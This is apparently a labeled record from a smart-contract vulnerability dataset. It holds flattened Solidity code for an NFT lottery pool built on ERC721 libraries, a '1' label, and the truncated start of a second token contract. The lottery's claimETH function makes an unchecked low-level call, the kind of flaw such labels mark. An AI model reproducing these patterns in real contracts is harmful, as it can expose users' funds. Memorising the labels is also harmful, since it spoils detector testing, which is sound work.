require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.6.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.6.2;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity ^0.6.2;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.6.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
pragma solidity ^0.6.0;
contract ERC721Holder is IERC721Receiver {
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
pragma solidity >=0.6.2 <0.8.0;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.4.24 <0.8.0;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC165Upgradeable {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Upgradeable is IERC165Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC721ReceiverUpgradeable {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
uint256[49] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableSetUpgradeable {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMapUpgradeable {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1;
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0);
return (true, map._entries[keyIndex - 1]._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key");
return map._entries[keyIndex - 1]._value;
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
return map._entries[keyIndex - 1]._value;
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
pragma solidity >=0.6.0 <0.8.0;
library StringsUpgradeable {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable, IERC721EnumerableUpgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;
using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap;
using StringsUpgradeable for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSetUpgradeable.UintSet) private _holderTokens;
EnumerableMapUpgradeable.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721Upgradeable.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721Upgradeable.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721ReceiverUpgradeable(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
uint256[41] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.8;
interface IDistributor {
function distributeToNftHolders(
uint256 fee,
address _nftRecipientAddress,
uint256 startIndex,
uint256 endIndex,
address _rewardAddress,
uint256 _rewardId
) external;
}
pragma solidity ^0.6.8;
interface ILotteryReference {
function LINK_ADDRESS() external returns(address);
function RNG_DISTRIBUTOR_ADDRESS() external returns(address);
function LINK_FEE() external returns(uint256);
function masterTokenURI() external view returns (address);
}
pragma solidity ^0.6.8;
interface ITokenURI {
function tokenURI(uint256 id) external view returns (string memory);
}
pragma solidity ^0.6.8;
contract NFTLotteryPool is ERC721Upgradeable, OwnableUpgradeable, ERC721Holder, ReentrancyGuard {
using SafeERC20 for IERC20;
ILotteryReference private REFERENCE;
IDistributor private RNG_DISTRIBUTOR;
IERC20 private LINK;
address public prizeAddress;
uint256 public prizeId;
uint64 public startDate;
uint64 public endDate;
uint32 public minTicketsToSell;
uint32 public maxTickets;
uint32 public maxTicketsPerAddress;
uint256 public ticketPrice;
bool public hasCalledVRF;
bool public isRefundOpen;
function initialize(
address _prizeAddress,
uint256 _prizeId,
uint64 _startDate,
uint64 _endDate,
uint32 _minTicketsToSell,
uint32 _maxTickets,
uint32 _maxTicketsPerAddress,
uint256 _ticketPrice
) external initializer {
require(_endDate > _startDate, "End is before start");
require(_minTicketsToSell > 0, "Min sell at least 1");
require(_minTicketsToSell <= _maxTickets, "Min greater than max");
require(_maxTicketsPerAddress >= 1, "Must be able to buy at least 1");
__Ownable_init();
__ERC721_init("NFT-LOTTERY", "LOTTO");
REFERENCE = ILotteryReference(msg.sender);
LINK = IERC20(REFERENCE.LINK_ADDRESS());
RNG_DISTRIBUTOR = IDistributor(REFERENCE.RNG_DISTRIBUTOR_ADDRESS());
prizeAddress = _prizeAddress;
prizeId = _prizeId;
startDate = _startDate;
endDate = _endDate;
minTicketsToSell = _minTicketsToSell;
maxTickets = _maxTickets;
maxTicketsPerAddress = _maxTicketsPerAddress;
ticketPrice = _ticketPrice;
}
function buyTickets(uint256 numTickets) public payable {
require(block.timestamp >= startDate, "Too early");
require(balanceOf(msg.sender).add(numTickets) <= maxTicketsPerAddress, "Holding too many");
require(totalSupply().add(numTickets) <= maxTickets, "Exceeds max supply");
require(msg.value == ticketPrice.mul(numTickets), "Price incorrect");
require(block.timestamp < endDate, "Lottery over");
for (uint256 i = 0; i < numTickets; i++) {
_mint(msg.sender, totalSupply()+1);
}
}
function unlockRefund() public {
require(block.timestamp > endDate + 7 days, "Too early");
require(!hasCalledVRF, "Already VRFed");
isRefundOpen = true;
}
function getRefund(uint256[] calldata ids) external nonReentrant {
require(block.timestamp > endDate, "Lottery not over");
require(totalSupply() < minTicketsToSell || isRefundOpen, "Enough tickets sold");
uint256 refundAmount = 0;
for (uint256 i = 0; i < ids.length; i++) {
require(ownerOf(ids[i]) == msg.sender, "Not owner");
_burn(ids[i]);
refundAmount = refundAmount.add(ticketPrice);
}
(bool sent, bytes memory data) = msg.sender.call{value: refundAmount}("");
require(sent, "Transfer failed");
}
function refundOwnerAssets() public onlyOwner {
require(block.timestamp > endDate, "Lottery not over");
require(totalSupply() < minTicketsToSell || isRefundOpen, "Enough tickets sold");
LINK.safeTransfer(owner(), REFERENCE.LINK_FEE());
IERC721Enumerable(prizeAddress).safeTransferFrom(address(this), owner(), prizeId);
}
function distributePrize() public onlyOwner {
require(totalSupply() >= minTicketsToSell, "Not enough tickets sold");
require(block.timestamp > endDate, "Lottery not over");
require(! hasCalledVRF, "Already called VRF");
LINK.approve(address(RNG_DISTRIBUTOR), REFERENCE.LINK_FEE());
IERC721Enumerable(prizeAddress).setApprovalForAll(address(RNG_DISTRIBUTOR), true);
RNG_DISTRIBUTOR.distributeToNftHolders(REFERENCE.LINK_FEE(), address(this), 1, totalSupply(), prizeAddress, prizeId);
hasCalledVRF = true;
}
function claimETH() public onlyOwner {
require(hasCalledVRF, "Must call VRF first");
require(IERC721Enumerable(prizeAddress).ownerOf(prizeId) != address(RNG_DISTRIBUTOR), "No VRF yet");
owner().call{value: address(this).balance}("");
}
function tokenURI(uint256 id) public view override returns (string memory) {
return ITokenURI(REFERENCE.masterTokenURI()).tokenURI(id);
}
} | 1 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
